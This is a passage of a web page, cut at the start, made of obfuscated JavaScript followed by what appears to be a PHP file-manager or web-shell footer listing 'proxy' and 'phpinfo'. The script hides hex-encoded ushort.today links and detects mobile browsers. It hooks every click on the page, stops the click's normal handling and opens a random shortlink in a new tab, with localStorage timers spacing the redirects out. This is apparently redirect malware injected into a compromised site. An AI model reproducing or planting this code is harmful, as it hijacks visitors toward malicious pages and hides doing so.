79\x78\x32\x63\x312','floor','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x53\x6c\x4b\x36\x63\x346','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x4c\x61\x4c\x30\x63\x330','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x49\x68\x56\x31\x63\x301',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());
| ver. 1.4 |
Github
|
.
| PHP 7.3.33 | Generation time: 0.07 |
proxy
|
phpinfo
|
Settings